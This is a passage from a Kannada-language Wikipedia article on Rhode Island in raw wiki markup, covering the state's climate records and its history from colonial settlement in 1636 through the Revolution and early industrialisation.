ಕಬ್ಬಿಣದ ಅದುರಾಗಿರುವುದರಿಂದ, ನಿಕ್ಷೇಪಗಳಲ್ಲಿ ಒಂದನ್ನು ಅದರ ಕಬ್ಬಿಣದ ಅಂಶಕ್ಕಾಗಿ ವ್ಯಾಪಕವಾಗಿ ಗಣಿಗಾರಿಕೆ ಮಾಡಲಾಗಿದೆ. === ಹವಾಗುಣ === ರೋಡ್ ಐಲೆಂಡ್ ಬಿಸಿಯಾದ, ಮಳೆಯಿಂದ ಕೂಡಿದ ಬೇಸಿಗೆ ಮತ್ತು ತಣ್ಣನೆಯ ಚಳಿಯ ಆರ್ದ್ರತೆಯ ಖಂಡೀಯ ಹವಾಮಾನಕ್ಕೆ ಉದಾಹರಣೆಯಾಗಿದೆ. ರೋಡ್ ಐಲೆಂಡಿನ ಅತ್ಯಧಿಕ ಉಷ್ಣಾಂಶವು 104&nbsp;°F (40&nbsp;°C), 1975 ಆಗಸ್ಟ್ 2ರಂದು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ದಾಖಲಾಗಿತ್ತು.<ref>[http://www.infoplease.com/ipa/A0001416.html ರೆಕಾರ್ಡೆಡ್ ಹೈಯೆಸ್ಟ್ ಟೆಂಪರೇಚರ್ಸ್ ಬೈ ಸ್ಟೇಟ್] ಇನ್ಫೋರ್ಮೇಶನ್ ಪ್ಲೀಸ್ ಅಲ್ಮಾನಾಕ್</ref> ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ದಾಖಲಾದ ಅತೀ ಕಡಿಮೆ ಉಷ್ಣಾಂಶ -25&nbsp;°F (-32&nbsp;°C), 1996 ಫೆಬ್ರವರಿ 5ರಂದು ಗ್ರೀನ್‌ನಲ್ಲಿ ದಾಖಲಾಯಿತು.<ref>[http://www.infoplease.com/ipa/A0001416.html ರೆಕಾರ್ಡಡ್ ಲೋಯೆಸ್ಟ್ ಟೆಂಪರೇಚರ್ಸ್ ಬೈ ಸ್ಟೇಟ್] ಇನ್ಪೋರ್ಮೇಷನ್ ಪ್ಲೀಸ್ ಅಲ್ಮಾನಕ್</ref> ಮಾಸಿಕ ಸರಾಸರಿ ಉಷ್ಣಾಂಶಗಳು ಗರಿಷ್ಠ 83&nbsp;°F (28&nbsp;°C) ನಿಂದ ಕನಿಷ್ಠ 20&nbsp;°F (-7&nbsp;°C)ವರೆಗೆ ದಾಖಲಾಗಿದೆ.<ref>[http://www.rssweather.com/climate/Rhode%20Island/Providence/temp.png ಎವರೇಜ್ ಟೆಂಪರೇಚರ್ ರೇಂಜ್], RSSWeather.com.</ref> {{Weather box |location = Rhode Island |single line = Yes |Jan record high F = 70 |Feb record high F = 72 |Mar record high F = 90 |Apr record high F = 98 |May record high F = 96 |Jun record high F = 98 |Jul record high F = 102 |Aug record high F = 104 |Sep record high F = 100 |Oct record high F = 88 |Nov record high F = 81 |Dec record high F = 77 |Jan high F = 26 |Feb high F = 39 |Mar high F = 48 |Apr high F = 58 |May high F = 69 |Jun high F = 77 |Jul high F = 83 |Aug high F = 81 |Sep high F = 73 |Oct high F = 63 |Nov high F = 52 |Dec high F = 42 |Jan low F = 20 |Feb low F = 23 |Mar low F = 30 |Apr low F = 39 |May low F = 49 |Jun low F = 58 |Jul low F = 64 |Aug low F = 63 |Sep low F = 55 |Oct low F = 43 |Nov low F = 43 |Dec low F = 26 |Jan record low F = -23 |Feb record low F = -17 |Mar record low F = 1 |Apr record low F = 11 |May record low F = 29 |Jun record low F = 39 |Jul record low F = 48 |Aug record low F = 49 |Sep record low F = 32 |Oct record low F = 20 |Nov record low F = 6 |Dec record low F = -12 |Jan precipitation inch = 4.37 |Feb precipitation inch = 3.45 |Mar precipitation inch = 4.43 |Apr precipitation inch = 4.16 |May precipitation inch = 3.66 |Jun precipitation inch = 3.38 |Jul precipitation inch = 3.17 |Aug precipitation inch = 3.90 |Sep precipitation inch = 3.70 |Oct precipitation inch = 3.69 |Nov precipitation inch = 4.40 |Dec precipitation inch = 4.14 |source 1 = <ref>{{cite web |url=http://www.weather.com/outlook/travel/businesstraveler/wxclimatology/monthly/graph/USRI0014?from=36hr_bottomnav_business |title=Average Weather Rhode Island - Temperature and Precipitation |publisher=Weather.com |accessdate=August 6, 2009}}</ref> |date=August 2010 }} == ಇತಿಹಾಸ == {{Main|History of Rhode Island}} ==== ವಸಾಹತುಶಾಹಿ ಶಕೆ: 1636-1770 ==== [[File:Providence, Rhode Island, Original Deed.jpg|thumb|200px|right|ಮುಖಂಡ ಕ್ಯಾನೋನಿಕಸ್ ಸಹಿ ಹಾಕಿರುವ ಪ್ರಾವಿಡೆನ್ಸ್‌ನ 1636ರ ಮೂಲ ಕಾನೂನು ಪತ್ರ. ]] [[ಚಿತ್ರ:Roger Williams and Narragansetts.jpg|thumb|225px|ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಮತ್ತು ನರಾಗನ್‌ಸೆಟ್ ಇಂಡಿಯನ್ನರು.]] {{Main|Colony of Rhode Island and Providence Plantations}} 1636ರಲ್ಲಿ ತನ್ನ ಧಾರ್ಮಿಕ ದೃಷ್ಟಿಕೋನಗಳಿಂದಾಗಿ ಮಸಾಚುಸೆಟ್ಸ್ ಕೊಲ್ಲಿ ವಸಾಹತುವಿನಿಂದ ಬಹಿಷ್ಕಾರಕ್ಕೆ ಗುರಿಯಾದ ರೋಜರ್ ವಿಲಿಯಮ್ಸ್, ನರ್ರಾಗಾನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯ ತುದಿಯಲ್ಲಿ ನೆಲೆಸಿದರು. ಇದು ನರ್ರಾಗಾನ್‌ಸೆಟ್ ಬುಡಕಟ್ಟು ಜನಾಂಗ ಕೊಡುಗೆಯಾಗಿ ನೀಡಿದ ಭೂಮಿಯಾಗಿತ್ತು. ಅವರು ಆ ಸ್ಥಳವನ್ನು '''ಪ್ರಾವಿಡೆನ್ಸ್''' ಎಂದು ಕರೆದರು ಮತ್ತು ಅದನ್ನು ಧಾರ್ಮಿಕ ಸ್ವಾತಂತ್ರ್ಯದ ಸ್ಥಳವೆಂದು ಘೋಷಿಸಿದರು. ಆತ್ಮಸಾಕ್ಷಿ ಸ್ವಾತಂತ್ರ್ಯ ಕಲ್ಪನೆಯ ವಿರೋಧಿಗಳು ಇದನ್ನು ಕೆಲವೊಮ್ಮೆ "ಅಲೆಮಾರಿಗಳ ದ್ವೀಪ(ರೋಗ್ಸ್ ಐಲೆಂಡ್) ಎಂದು ಉಲ್ಲೇಖಿಸಿದ್ದಾರೆ.<ref>{{Cite book | publisher = Penguin (Non-Classics) | isbn = 0140082689 | page = 77 | last = Marty | first = Martin E. | title = Pilgrims in Their Own Land: 500 Years of Religion in America | date = August 6, 1985 }}</ref> 1638ರಲ್ಲಿ, ವಿಲಿಯಮ್ಸ್ ಜತೆ ಸಮಾಲೋಚಿಸಿದ ನಂತರ ಅನ್ನೆ ಹುಚ್ಚಿಸನ್, ವಿಲಿಯಂ ಕಾಡಿಂಗ್‌ಟನ್, ಜಾನ್ ಕ್ಲಾರ್ಕ್, ಫಿಲಿಪ್ ಶರ್ಮನ್ಹಾಗು ಇತರ ಧಾರ್ಮಿಕ ಭಿನ್ನಮತೀಯರುಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪದಲ್ಲಿ (ಆಗ ರೋಡ್ ಐಲೆಂಡ್ ಎಂದು ಹೆಸರಾಗಿತ್ತು) ನೆಲೆಸಿದರು. ಅದನ್ನು ಸ್ಥಳೀಯರಿಂದ ಖರೀದಿಸಲಾಗಿದ್ದು,ಅದನ್ನು ಪೊಕಾಸೆಟ್ ಎಂದು ಅವರು ಕರೆಯುತ್ತಿದ್ದರು. ಪೋರ್ಟ್ಸ್‌ಮೌತ್ ವಸಾಹತಿನ ಆಡಳಿತವನ್ನು ಪೋರ್ಟ್ಸ್‌ಮೌತ್ ದಾಖಲೆ ಪ್ರಕಾರ ನಡೆಸಲಾಗುತ್ತದೆ. ಸ್ಥಾಪಕರ ನಡುವೆ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳಿಂದ ದ್ವೀಪದ ದಕ್ಷಿಣ ಭಾಗವು ನ್ಯೂಪೋರ್ಟ್‌ನ ಪ್ರತ್ಯೇಕ ವಸಾಹತಾಯಿತು. ಸ್ಯಾಮ್ಯುಯಲ್ ಗೋರ್ಟನ್ 1642ರಲ್ಲಿ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ ಭೂಮಿಗಳನ್ನು ಶಾವೊಮೆಟ್‌ನಲ್ಲಿ ಖರೀದಿಸಿದ್ದು, ಮಸಾಚುಸೆಟ್ಸ್ ಕೊಲ್ಲಿ ವಸಾಹತಿನ ಜತೆ ಮಿಲಿಟರಿ ವಿವಾದವನ್ನು ಹುಟ್ಟುಹಾಕಿತು. 1644ರಲ್ಲಿ, ಪ್ರಾವಿಡೆನ್ಸ್, ಪೋರ್ಟ್ಸ್‌‌ಮೌತ್ ಮತ್ತು ನ್ಯೂಪೋರ್ಟ್ ರೋಡ್ ಐಲೆಂಡ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್ ವಸಾಹತು ಹೆಸರಿನಲ್ಲಿ ಸಮಾನ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕಾಗಿ ಒಂದುಗೂಡಿತು ಹಾಗು ಆಯ್ಕೆಯಾದ ಮಂಡಳಿ ಮತ್ತು "ಅಧ್ಯಕ್ಷ" ಆಡಳಿತ ನಿರ್ವಹಿಸಿದರು. ಗೋರ್ಟನ್ 1648ರಲ್ಲಿ ವಸಾಹತಿಗೆ ಪ್ರತ್ಯೇಕ ಅಧಿಕಾರ ಪತ್ರವನ್ನು ಸ್ವೀಕರಿಸಿದರು. ಅದಕ್ಕೆ ಅವರು ತಮ್ಮ ಪೋಷಕ ವಾರ್ವಿಕ್ ಹೆಸರನ್ನು ಇಟ್ಟರು.<ref>{{cite web|url=http://lonang.com/exlibris/organic/1663-cri.htm |title=Charter of Rhode Island (1663) |publisher=Lonang.com |date= |accessdate=July 31, 2010}}</ref> ಈ ಸಮ್ಮಿಶ್ರ ವಸಾಹತುಗಳು 1663ರ ಸನ್ನದಿನಲ್ಲಿ ಒಂದಾಗಿ, 1842ರವರೆಗೆ ರಾಜ್ಯದ ಸಂವಿಧಾನವಾಗಿ ಬಳಸಿಕೊಳ್ಳಲಾಯಿತು.{{Citation needed|date=July 2009}} ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ಜತೆ ಶಾಂತಿಯಿಂದ ಉಳಿದರೂ,ಇತರೆ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ವಸಾಹತುಗಳು ಮತ್ತು ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ನಡುವೆ ಸಂಬಂಧ ಹೆಚ್ಚು ಹಳಸಿತ್ತು. ರೋಡ್ ಐಲೆಂಡ್ ನಾಯಕತ್ವದ ಶಾಂತಿ ಮೂಡಿಸುವ ಪ್ರಯತ್ನದ ನಡುವೆಯೂ ಕೆಲವು ಬಾರಿ ರಕ್ತಪಾತಕ್ಕೆ ದಾರಿಕಲ್ಪಿಸಿತು. ಕಿಂಗ್ ಫಿಲಿಪ್ಸ್ ಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ(1675–1676), ಎರಡೂ ಕಡೆಯವರು ನಿಯಮಿತವಾಗಿ ರೋಡ್ ಐಲೆಂಡ್ ತಟಸ್ಥ ನೀತಿಯನ್ನು ಉಲ್ಲಂಘಿಸಿದರು. ಜನರಲ್ ಜೋಸಿಯ ವಿನ್‌ಸ್ಲೋ ನೇತೃತ್ವದ ಮಸಾಚುಸೆಟ್ಸ್, ಕನೆಕ್ಟಿಕಟ್ ಮತ್ತು ಪ್ಲೈಮೌತ್ ಸೈನ್ಯವು ಭದ್ರವಾದ ದಕ್ಷಿಣ ರೋಡ್ ಐಲೆಂಡ್ ಗ್ರೇಟ್ ಸ್ವಾಂಪ್‌ ಹೋರಾಟದಲ್ಲಿ ಭದ್ರವಾದ ನರಾಗನ್‌ಸೆಟ್ ಇಂಡಿಯನ್ ಗ್ರಾಮವನ್ನು 1675ರ ಡಿಸೆಂಬರ್ 19ರಂದು ನಾಶಮಾಡಿತು.<ref>[http://www.historyplace.com/specials/kingphilip.htm ಕಿಂಗ್ ಫಿಲಿಪ್'ಸ್ ವಾರ್] {{Webarchive|url=https://web.archive.org/web/20100608035001/http://www.historyplace.com/specials/kingphilip.htm |date=ಜೂನ್ 8, 2010 }} ಇನ್ [http://www.historyplace.com historyplace.com].</ref> ನರಾಗ್ಗನ್‌ಸೆಟ್ ಮೇಲೆ ಕೂಡ ಆಕ್ರಮಣ ನಡೆಸಲಾಯಿತು ಹಾಗು ಪ್ರಾವಿಡೆನ್ಸ್ ಸೇರಿದಂತೆ ರೋಡ್ ಐಲೆಂಡ್ ಅನೇಕ ನಗರಗಳನ್ನು ಸುಟ್ಟುಹಾಕಲಾಯಿತು. ಆದರೂ ಅಲ್ಲಿದ್ದ ಜನರನ್ನು ತೆರವು ಮಾಡುವಂತೆ ಮೊದಲಿಗೆ ಸೂಚಿಸಲಾಯಿತು. ಯುದ್ಧದ ಅಂತಿಮ ಕಾರ್ಯಗಳಲ್ಲಿ, ಕನೆಕ್ಟಿಕಟ್ ಪಡೆಗಳು ಕಿಂಗ್ ಫಿಲಿಪ್‍‌ನನ್ನು ಬೇಟೆಯಾಡಿ ಹತ್ಯೆಮಾಡಿದವು. ವ್ಯಾಂಪನೋವಗ್ ಯುದ್ಧವೀರ ಮೆಟಾಕಾಮ್‌(ಕಿಂಗ್‌ ಫಿಲಿಪ್‌)ನನ್ನು ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರದೇಶಕ್ಕೆ ಕರೆದು ಹತ್ಯೆಮಾಡಿತು. ಇಂಗ್ಲೆಂಡ್‌ನ ಜೇಮ್ಸ್ II , ಬ್ರಿಟಿಷ್ ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿ ಸ್ವಾಯತ್ತ ವಸಾಹತುಗಳ ಮೇಲೆ ರಾಜಪ್ರಭುತ್ವದ ಅಧಿಕಾರವನ್ನು ಜಾರಿಗೆ ತರಲು ಪ್ರಯತ್ನಿಸಿದ ಸಂದರ್ಭದಲ್ಲಿ ವಸಾಹತನ್ನು 1686ರಲ್ಲಿ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ವ್ಯಾಪ್ತಿಯೊಳಗೆ ವಿಲೀನಗೊಳಿಸಲಾಯಿತು. 1688ರಲ್ಲಿ ಗ್ಲೋರಿಯಸ್ ರಿವಾಲ್ಯುಷನ್‌ ನಂತರ, ರಾಯಲ್ ಚಾರ್ಟರ್ ನೇತೃತ್ವದಲ್ಲಿ ವಸಾಹತು ತನ್ನ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಗಳಿಸಿಕೊಂಡಿತು. ಆರ್ಥಿಕತೆಯ ಮೂಲಾಧಾರವು ವಿಶೇಷವಾಗಿ ಹೈನುಗಾರಿಕೆ ಮತ್ತು ಮೀನುಗಾರಿಕೆ ಒಳಗೊಂಡ ಕೃಷಿಯಾಗಿ ಮುಂದುವರಿಯಿತು. ಮರದ ದಿಮ್ಮಿ ತಯಾರಿಕೆ ಮತ್ತು ಹಡಗುನಿರ್ಮಾಣವು ಪ್ರಮುಖ ಕೈಗಾರಿಕೆಗಳಾಯಿತು. ಈ ಸಮಯದಲ್ಲಿ ಗುಲಾಮರನ್ನು ಪರಿಚಯಿಸಲಾಯಿತು. ಆದರೂ ಗುಲಾಮರನ್ನು ಇಟ್ಟುಕೊಳ್ಳುವ ಪದ್ಧತಿಯನ್ನು ಮರುಕಾನೂನುಬದ್ಧಗೊಳಿಸುವ ಯಾವುದೇ ಕಾನೂನಿನ ದಾಖಲೆಗಳಿರಲಿಲ್ಲ. ಕಾಕತಾಳೀಯವಾಗಿ, ವಸಾಹತು ಗುಲಾಮರ ವ್ಯಾಪಾರದಿಂದ ಸಂಪದಭಿವೃದ್ಧಿಯಾಯಿತು. ಕ್ಯಾರಿಬಿಯನ್‌ರ ಜತೆ ಗುಲಾಮರು ಮತ್ತು ಸಕ್ಕರೆಯ ಲಾಭದಾಯಕ ತ್ರಿಪಕ್ಷೀಯ ವ್ಯಾಪಾರದ ಭಾಗವಾಗಿ ಆಫ್ರಿಕಾದಲ್ಲಿ ಮಾರಾಟಮಾಡಲು ರಮ್ ಮದ್ಯವನ್ನು ಬಟ್ಟಿ ಇಳಿಸಲಾಯಿತು.<ref>{{cite web|url=http://www.projo.com/extra/2006/slavery/day1/ |title="The Unrighteous Traffick", in '&#39;The Providence Journal'&#39; Sunday, March 12, 2006 |publisher=Projo.com |date=March 12, 2006 |accessdate=July 31, 2010}}</ref> ರೋಡ್ ಐಲೆಂಡ್ 1776ರ ಮೇ 4ರಂದು ಬ್ರಿಟಿಷ್ ರಾಜಪ್ರಭುತ್ವಕ್ಕೆ ತನ್ನ ನಿಷ್ಠೆಯನ್ನು ತ್ಯಜಿಸಿದ 13 ವಸಾಹತುಗಳ ಪೈಕಿ ಮೊದಲನೆಯದಾಗಿದೆ. ಇದು 1790ರ ಮೇಲೆ 29ರಂದು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನ|ಅಮೆರಿಕ ಸಂವಿಧಾನ]]ವನ್ನು ಅನುಮೋದಿಸಿದ 13 ವಸಾಹತುಗಳ ಪೈಕಿ ಕೊನೆಯ ವಸಾಹತಾಗಿದೆ. ಒಂದೊಮ್ಮೆ ಹಕ್ಕುಗಳ ಮಸೂದೆಯು ಸಂವಿಧಾನದ ಭಾಗವಾಗುತ್ತದೆಂದು ಭರವಸೆಗಳನ್ನು ನೀಡಿದ ನಂತರ ಅದು ಅಮೆರಿಕ ಸಂವಿಧಾನವನ್ನು ಅನುಮೋದಿಸಿತು.<ref>[http://www.usconstitution.net/rat_ri.html "ರೋಡ್ ಐಲೆಂಡ್ ರ‌್ಯಾಟಿಫಿಕೇಷನ್ ಆಫ್ ದಿ U.S. ಕಾನ್ಸ್‌ಟಿಟ್ಯೂಷನ್"].</ref> ಬ್ರೌನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ನೆಲೆಯಾಗಿ, ರೋಡ್ ಐಲೆಂಡ್ ಅಮೆರಿಕದ ಕ್ರಾಂತಿಗೆ ಮುನ್ನ ತನ್ನ ಪ್ರದೇಶದಲ್ಲಿ ವಸಾಹತು ಕಾಲೇಜಿಗೆ ಆಶ್ರಯನೀಡಿದ 8 ರಾಜ್ಯಗಳ ಪೈಕಿ ಒಂದಾಗಿದೆ. ==== ಕ್ರಾಂತಿಯಿಂದ ಕೈಗಾರಿಕೀಕರಣದವರೆಗೆ: 1770–1860 ==== [[ಚಿತ್ರ:King Philip's Seat.jpg|thumb|225px|right|ಕಿಂಗ್ ಫಿಲಿಪ್‌ನ ಆಸನ," ಮೌಂಟ್ ಹೋಪ್‌ನಲ್ಲಿ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ಬೇಟಿ ಸ್ಥಳ.]] ರೋಡ್ ಐಲೆಂಡ್ ಸ್ವಾತಂತ್ರ್ಯ ಮತ್ತು ಭಿನ್ನಮತದಿಂದ ಅಮೆರಿಕದ ಕ್ರಾಂತಿಯಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ಅದಕ್ಕೆ ನೀಡಿತು. ಅಮೆರಿಕ ಕ್ರಾಂತಿಯ ಪ್ರಥಮ ರಕ್ತಪಾತವು 1772ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ ಸಂಭವಿಸಿತು. ಅಪ್ರಿಯವಾದ ಬ್ರಿಟಿಷ್ ವ್ಯಾಪಾರ ನಿಬಂಧನೆಗಳನ್ನು ಜಾರಿಗೆ ತಂದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಪ್ರಾವಿಡೆನ್ಸ್ ನಿವಾಸಿಗಳ ಒಂದು ಗುಂಪು ಲಂಗರು ಹಾಕಿದ್ದ ಬ್ರಿಟಿಷ್ ಹಡಗಿನ ಮೇಲೆ ದಾಳಿ ನಡೆಸಿತು. ಈ ಘಟನೆಯು ಗ್ಯಾಸ್ಪೀ ಅಫೇರ್ ಎಂದು ಹೆಸರಾಯಿತು. ರೋಡ್ ಐಲೆಂಡ್ ಗ್ರೇಟ್ ಬ್ರಿಟನ್‌(ಮೇ4,1776 )ನಿಂದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಿಸಿದ ಮೂಲ 13 ವಸಾಹತುಗಳ ಪೈಕಿ ಮೊದಲನೆಯದಾಗಿದೆ ಹಾಗು ಸಂವಿಧಾನವನ್ನು ಅನುಮೋದಿಸಿದ ಕೊನೆಯ ವಸಾಹತು ಎನಿಸಿದೆ. ಅದರ ರಫ್ತುಗಳಿಗೆ ವಿದೇಶಿ ರಾಷ್ಟ್ರದ ರೀತಿಯಲ್ಲಿ ತೆರಿಗೆ ಹೇರುವುದಾಗಿ ಬೆದರಿಕೆ ಹಾಕಿದ ನಂತರವೇ ರೋಡ್ ಐಲೆಂಡ್ ಸಂವಿಧಾನವನ್ನು ಅನುಮೋದಿಸಿತು.<ref name="KnowRhode">[http://sos.ri.gov/library/history/independence/ ನೊವ್ ರೋಡ್ ಐಲೆಂಡ್], RI ಸೆಕ್ರೇಟರಿ ಆಫ್ ಸ್ಟೇಟ್ 2006ರ ಅಕ್ಟೋಬರ‍್ 17ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ಕ್ರಾಂತಿಯ ಸಂದರ್ಭದಲ್ಲಿ ಬ್ರಿಟಿಷ್ ನ್ಯೂಪೋರ್ಟ್ ಮೇಲೆ ಆಕ್ರಮಣ ಮಾಡಿತು. ಫ್ರಾನ್ಸ್-ಅಮೆರಿಕದ ಸಂಯುಕ್ತ ಪಡೆಗಳು ಅವರನ್ನು ಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪದಿಂದ ಹೊರದೂಡಲು ಹೋರಾಡಿತು. ಪೋರ್ಟ್ಸ್‌ಮೌತ್ ಮೊದಲನೇ ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಮಿಲಿಟರಿ ಘಟಕವಾದ ಪ್ರಥಮ ರೋಡ್ ಐಲೆಂಡ್ ತುಕಡಿಯ ನೆಲೆಯಾಗಿದೆ. 1778 ಆಗಸ್ಟ್ 29ರಂದು ನಡೆದ ರೋಡ್ ಐಲೆಂಡ್ ಯುದ್ಧದಲ್ಲಿ U.S.ಪರ ಹೋರಾಟ ಮಾಡುವುದಕ್ಕಾಗಿ ಇದನ್ನು ರಚಿಸಲಾಗಿತ್ತು. ತನಗಿಂತ ತುಂಬ ಬಲಾಢ್ಯವಾದ ಫ್ರೆಂಚ್ ಯುದ್ಧನೌಕೆಗಳ ಆಗಮನದಿಂದ ಫ್ರೆಂಚರಿಗೆ ಶರಣಾಗುವ ಬದಲಿಗೆ ಬ್ರಿಟಿಷ್ ತನ್ನ ನೌಕೆಗಳೊಂದಿಗೆ ಪರಾರಿಯಾಯಿತು. ವಿರ್ಜಿನಿಯದ ಯಾರ್ಕ್‌ಟೌನ್‌ಗೆ ಪ್ರಸಿದ್ಧ 1781ರ ದಂಡಯಾತ್ರೆಯು ಯಾರ್ಕ್‌ಟೌನ್ ಮುತ್ತಿಗೆಯ ಮೂಲಕ ಬ್ರಿಟಿಷರ ಸೋಲಿನಲ್ಲಿ ಕೊನೆಗೊಂಡಿತು ಹಾಗು ಅಮೆರಿಕದ ಸೈನಿಕರ ಮುಂದಾಳತ್ವ ವಹಿಸಿದ ಜನರಲ್ [[ಜಾರ್ಜ್ ವಾಷಿಂಗ್ಟನ್]] ಮತ್ತು ಕಿಂಗ್ ಲೂವಿಸ್ XVIಕಳಿಸಿದ ಫ್ರೆಂಚ್ ಸೈನಿಕರ ನೇತೃತ್ವ ವಹಿಸಿದ ಕಾಮ್ಟೆ ಡೆ ರೊಚಾಂಬು ಜಂಟಿ ಆಧಿಪತ್ಯದಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ಚೆಸಾಪೀಕ್ ಸಮರ ನಡೆಯಿತು. ಈ ಮಿತ್ರಪಡೆಗಳು ಬ್ರೌನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಸಭಾಂಗಣ ಸೇರಿದಂತೆ ರೋಡ್‌ದ್ವೀಪದ ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ಒಂದು ವರ್ಷ ಕಳೆಯಿತು ಹಾಗು ತಮ್ಮ ನಿರ್ಣಾಯಕ ದಂಡಯಾತ್ರೆಯ ಆರಂಭಕ್ಕೆ ಸಕಾಲಿಕ ಕ್ಷಣಕ್ಕಾಗಿ ಸಿದ್ಧತೆಮಾಡಿಕೊಂಡಿತು. ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ನೆಲೆಸಿದ್ದ ಹಲವಾರು ದೇಶಭಕ್ತರು ಅಮೆರಿಕದ ಕ್ರಾಂತಿಯಲ್ಲಿ ಒಳಗೊಂಡಿದ್ದರು. ರಾಯಲ್ ಗವರ್ನರ್ ಸ್ಯಾಮುಯೆಲ್ ವಾರ್ಡ್, ರಾಯಲ್ ಗವರ್ನರ್ ಮತ್ತು ಪ್ರಥಮ ಬ್ರೌನ್ ಯೂನಿವರ್ಸಿಟಿ ಚಾನ್ಸಲರ್ ಸ್ಟೀಫನ್ ಹಾಪ್ಕಿನ್ಸ್, ರೆವೆರೆಂಡ್ ಜೇಮ್ಸ್ ಮ್ಯಾನಿಂಗ್, ಜನರಲ್ ಜೇಮ್ಸ್ ಮಿಚೆಲ್ ವಾರ್ನಮ್, ಜಾನ್ ಬ್ರೌನ್, ಡಾ.ಸೋಲೋಮನ್ ಡ್ರೌನ್, ಯೇಲ್ ಕಾಲೇಜು ಅಧ್ಯಕ್ಷ ಎಜ್ರಾ ಸ್ಟೈಲ್ಸ್ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡ್ಿಂದ ಅಮೆರಿಕದ ಪ್ರಥಮ ಸೆನೆಟ್ ಸದಸ್ಯ ಥಿಯೋಡರ್ ಫಾಸ್ಟರ್ ಕ್ರಾಂತಿಯಲ್ಲಿ ಸೇರಿದ್ದರು. [[ಚಿತ್ರ:Providence, Rhode Island, 1858.jpg|thumb|250px|right|19ನೇ ಶತಮಾನದ ಮಧ್ಯಾವಧಿಯಲ್ಲಿ ಪ್ರಾವಿಡೆನ್ಸ್]] ಥಾಮಸ್ ಸೋಮರ್ಸ್ ಇಂಗ್ಲೆಂಡ್‌‌‌ನಿಂದ ಆಮದುಮಾಡಿಕೊಂಡ ಜವಳಿ ಯಂತ್ರದ ಯೋಜನೆಗಳನ್ನು ಪುನರುತ್ಪಾದಿಸುವ ಮೂಲಕ 1787ರಲ್ಲಿ ಅಮೆರಿಕದಲ್ಲಿ [[ಕೈಗಾರಿಕಾ ಕ್ರಾಂತಿ|ಕೈಗಾರಿಕೆ ಕ್ರಾಂತಿ]] ಆರಂಭವಾಯಿತು. ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ಮಾಸಸ್ ಬ್ರೌನ್ ಆಸಕ್ತಿ ವಹಿಸಿದ ಬೆವರ್ಲಿ ಹತ್ತಿ ಗಿರಣಿಯ ಸ್ಥಾಪನೆಗೆ ಅವರು ನೆರವಾದರು. ಸ್ಯಾಮ್ಯುಯಲ್ ಸ್ಲೇಟರ್ ಜತೆ ಸೇರಿದ ಮಾಸಸ್ ಬ್ರೌನ್ ಜಲಚಾಲಿತಶಕ್ತಿಯ ಜವಳಿ ಗಿರಣಿಯಾದ ಎರಡನೇ ಹತ್ತಿ ಗಿರಣಿಯ ಸ್ಥಾಪನೆಗೆ ನೆರವಾದರು. ಕೈಗಾರಿಕೆ ಕ್ರಾಂತಿಯು ನಗರಗಳಿಗೆ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಕಾರ್ಮಿಕರನ್ನು ಸಾಗಿಸಿದ್ದರಿಂದ ಕಾಯಂ ಭೂರಹಿತ ಮತ್ತು ಮತದಾನದ ಹಕ್ಕಿನಿಂದ ವಂಚಿತರಾದ ವರ್ಗ ಬೆಳೆಯಿತು. 1829ರಲ್ಲಿ ರಾಜ್ಯದ 60% ಮುಕ್ತ ಬಿಳಿ ಜನಾಂಗದ ಪುರುಷರು ಮತದಾನಕ್ಕೆ ಅರ್ಹತೆ ಪಡೆದಿರಲಿಲ್ಲ. [[ಚಿತ್ರ:Former Stable at Brenton Point State Park, Newport, Rhode Island 1968.jpg|thumb|left|ನ್ಯೂಪೋರ್ಟ್ ಹೊರೆಗೆ ಪರಿತ್ಯಜಿಸಲಾದ ಗಿರಣಿ (1968)]] ಈ ಸಮಸ್ಯೆ ಪರಿಹಾರಕ್ಕೆ ಅನೇಕ ಪ್ರಯತ್ನಗಳನ್ನು ನಡೆಸಲಾಯಿತಾದರೂ, ಇದರಲ್ಲಿ ಯಾರೂ ಯಶಸ್ವಿಯಾಗಲಿಲ್ಲ. 1842ರಲ್ಲಿ,ಥಾಮಸ್ ಡೋರ್ ಉದಾರವಾದಿ [[ಸಂವಿಧಾನ]]ದ ಕರಡು ತಯಾರಿಸಿದರು. ಅದನ್ನು ಜನಾದೇಶದ ಮೂಲಕ ಅನುಮೋದಿಸಲಾಯಿತು. 